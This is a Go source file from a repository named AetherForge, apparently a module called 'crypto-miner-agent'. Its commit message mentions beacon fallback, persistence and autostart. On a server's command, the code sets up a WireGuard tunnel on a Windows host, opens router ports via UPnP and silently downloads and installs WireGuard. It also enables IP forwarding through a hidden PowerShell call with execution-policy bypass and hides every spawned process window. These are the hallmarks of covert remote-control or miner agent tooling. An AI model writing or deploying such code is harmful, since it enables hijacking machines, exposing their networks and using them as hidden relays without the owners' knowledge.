Files
AetherForge/agent/client/pathtracer_windows.go
AetherForge 5fc601b564 feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
2026-06-04 09:34:33 -07:00

305 lines
8.5 KiB
Go

//go:build windows
package client
import (
"crypto/rand"
"encoding/base64"
"encoding/json"
"fmt"
"log"
"net/http"
"os"
"os/exec"
"path/filepath"
"strings"
"syscall"
"crypto-miner-agent/deploy"
"golang.org/x/crypto/curve25519"
)
const wgUDPPort = 51820
// WGSetupResult is returned to the server after wg_setup.
type WGSetupResult struct {
PublicKey string `json:"public_key"`
ExternalIP string `json:"external_ip"`
ExternalPort int `json:"external_port"`
UPnPOK bool `json:"upnp_ok"`
Error string `json:"error,omitempty"`
}
// WGPeerEntry is one peer entry inside WGConfigPayload.
type WGPeerEntry struct {
PublicKey string `json:"public_key"`
Endpoint string `json:"endpoint"` // "ip:port"
AllowedIPs string `json:"allowed_ips"`
PersistentKeepalive int `json:"persistent_keepalive"`
}
// WGConfigPayload is sent from the server to configure this agent's WireGuard tunnel.
type WGConfigPayload struct {
SessionID string `json:"session_id"`
PrivateKey string `json:"private_key"`
LocalAddress string `json:"local_address"` // e.g. "10.66.0.2/24"
ListenPort int `json:"listen_port"`
Peers []WGPeerEntry `json:"peers"`
EnableIPForwarding bool `json:"enable_ip_forwarding"`
}
// wgState holds active tunnel state so teardown knows what to clean up.
var wgState struct {
sessionID string
configPath string
tunnelName string
}
// WGSetup generates a keypair, tries UPnP, and returns setup info to the server.
func WGSetup() WGSetupResult {
priv, pub, err := generateWGKeyPair()
if err != nil {
return WGSetupResult{Error: "keypair gen failed: " + err.Error()}
}
// Persist private key for when wg_configure arrives.
_ = os.MkdirAll(wgWorkDir(), 0700)
_ = os.WriteFile(filepath.Join(wgWorkDir(), "wg_priv.key"), []byte(priv), 0600)
res := WGSetupResult{
PublicKey: pub,
ExternalPort: wgUDPPort,
}
// Try UPnP — open UDP 51820.
r, err := deploy.PunchUPnP(wgUDPPort, wgUDPPort, "PathTracer-WG")
if err == nil && r.Success {
res.ExternalIP = r.ExternalIP
res.UPnPOK = true
log.Printf("[pathtracer] UPnP opened UDP %s:%d", r.ExternalIP, wgUDPPort)
} else {
// Fall back to the IP the server sees on the WebSocket connection.
res.UPnPOK = false
log.Printf("[pathtracer] UPnP failed, server will use its seen IP: %v", err)
}
return res
}
// WGConfigure writes the WireGuard config and starts the tunnel as a Windows service.
func WGConfigure(payload WGConfigPayload) error {
privKey := payload.PrivateKey
if privKey == "" {
// Use the key we generated in WGSetup.
raw, err := os.ReadFile(filepath.Join(wgWorkDir(), "wg_priv.key"))
if err != nil {
return fmt.Errorf("private key not found: %w", err)
}
privKey = strings.TrimSpace(string(raw))
}
conf := buildWGConfig(privKey, payload)
tunnelName := "PathTracer-" + payload.SessionID[:8]
confPath := filepath.Join(wgWorkDir(), tunnelName+".conf")
if err := os.WriteFile(confPath, []byte(conf), 0600); err != nil {
return fmt.Errorf("write config: %w", err)
}
// Enable IP forwarding so this node can relay traffic.
if payload.EnableIPForwarding {
_ = enableIPForwarding()
}
// Install and start the WireGuard service.
wgExe, err := ensureWGExe()
if err != nil {
return fmt.Errorf("wireguard not available: %w", err)
}
// Remove any stale service first (ignore errors).
_ = runHidden(wgExe, "/uninstallservice", tunnelName)
if err := runHidden(wgExe, "/installservice", confPath); err != nil {
return fmt.Errorf("wg installservice: %w", err)
}
wgState.sessionID = payload.SessionID
wgState.configPath = confPath
wgState.tunnelName = tunnelName
log.Printf("[pathtracer] WireGuard tunnel %s started", tunnelName)
return nil
}
// WGTeardown stops and removes the WireGuard tunnel and cleans up UPnP.
func WGTeardown() {
if wgState.tunnelName != "" {
wgExe, err := ensureWGExe()
if err == nil {
_ = runHidden(wgExe, "/uninstallservice", wgState.tunnelName)
}
_ = os.Remove(wgState.configPath)
wgState = struct {
sessionID string
configPath string
tunnelName string
}{}
}
_, _ = deploy.CloseUPnP(wgUDPPort)
log.Printf("[pathtracer] WireGuard tunnel torn down")
}
// WGIsActive reports whether a Path Tracer WireGuard tunnel is running.
func WGIsActive() bool {
return wgState.tunnelName != ""
}
// WGStatus returns the number of active WireGuard peers.
func WGStatus() string {
if wgState.tunnelName == "" {
return "no active tunnel"
}
wgExe, err := ensureWGExe()
if err != nil {
return "tunnel active (wg.exe unavailable)"
}
cmd := exec.Command(wgExe, "show", wgState.tunnelName)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
out, _ := cmd.CombinedOutput()
return "tunnel=" + wgState.tunnelName + "\n" + strings.TrimSpace(string(out))
}
// ── helpers ──────────────────────────────────────────────────────────────────
func generateWGKeyPair() (privateB64, publicB64 string, err error) {
var priv [32]byte
if _, err = rand.Read(priv[:]); err != nil {
return
}
// WireGuard Curve25519 key clamping.
priv[0] &= 248
priv[31] &= 127
priv[31] |= 64
var pub [32]byte
curve25519.ScalarBaseMult(&pub, &priv)
privateB64 = base64.StdEncoding.EncodeToString(priv[:])
publicB64 = base64.StdEncoding.EncodeToString(pub[:])
return
}
func buildWGConfig(privKey string, p WGConfigPayload) string {
port := p.ListenPort
if port == 0 {
port = wgUDPPort
}
var sb strings.Builder
sb.WriteString("[Interface]\n")
fmt.Fprintf(&sb, "PrivateKey = %s\n", privKey)
fmt.Fprintf(&sb, "Address = %s\n", p.LocalAddress)
fmt.Fprintf(&sb, "ListenPort = %d\n", port)
sb.WriteString("DNS = 1.1.1.1\n\n")
for _, peer := range p.Peers {
sb.WriteString("[Peer]\n")
fmt.Fprintf(&sb, "PublicKey = %s\n", peer.PublicKey)
if peer.Endpoint != "" {
fmt.Fprintf(&sb, "Endpoint = %s\n", peer.Endpoint)
}
ai := peer.AllowedIPs
if ai == "" {
ai = "0.0.0.0/0"
}
fmt.Fprintf(&sb, "AllowedIPs = %s\n", ai)
ka := peer.PersistentKeepalive
if ka == 0 {
ka = 25
}
sb.WriteString(fmt.Sprintf("PersistentKeepalive = %d\n\n", ka))
}
return sb.String()
}
func wgWorkDir() string {
base := os.Getenv("LOCALAPPDATA")
if base == "" {
base = os.TempDir()
}
return filepath.Join(base, "PathTracer")
}
// ensureWGExe returns the path to wireguard.exe, downloading if needed.
func ensureWGExe() (string, error) {
candidates := []string{
`C:\Program Files\WireGuard\wireguard.exe`,
`C:\Program Files (x86)\WireGuard\wireguard.exe`,
filepath.Join(wgWorkDir(), "wireguard.exe"),
}
for _, p := range candidates {
if _, err := os.Stat(p); err == nil {
return p, nil
}
}
return downloadWireGuard()
}
func downloadWireGuard() (string, error) {
const dlURL = "https://download.wireguard.com/windows-client/wireguard-installer.exe"
installDir := wgWorkDir()
_ = os.MkdirAll(installDir, 0755)
installerPath := filepath.Join(installDir, "wireguard-installer.exe")
resp, err := http.Get(dlURL)
if err != nil {
return "", fmt.Errorf("download wireguard: %w", err)
}
defer resp.Body.Close()
data := make([]byte, 0, 8*1024*1024)
buf := make([]byte, 32*1024)
for {
n, rerr := resp.Body.Read(buf)
if n > 0 {
data = append(data, buf[:n]...)
}
if rerr != nil {
break
}
}
if err := os.WriteFile(installerPath, data, 0755); err != nil {
return "", fmt.Errorf("write installer: %w", err)
}
// Install silently.
if err := runHidden(installerPath, "/S"); err != nil {
return "", fmt.Errorf("wireguard install: %w", err)
}
wgExe := `C:\Program Files\WireGuard\wireguard.exe`
if _, err := os.Stat(wgExe); err != nil {
return "", fmt.Errorf("wireguard.exe not found after install")
}
return wgExe, nil
}
func enableIPForwarding() error {
script := `Set-NetIPInterface -Forwarding Enabled -ErrorAction SilentlyContinue`
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass",
"-WindowStyle", "Hidden", "-Command", script)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
return cmd.Run()
}
func runHidden(name string, args ...string) error {
cmd := exec.Command(name, args...)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
return cmd.Run()
}
// WGSetupJSON is called from the command dispatcher — returns JSON string for command_result.
func WGSetupJSON() string {
res := WGSetup()
b, _ := json.Marshal(res)
return string(b)
}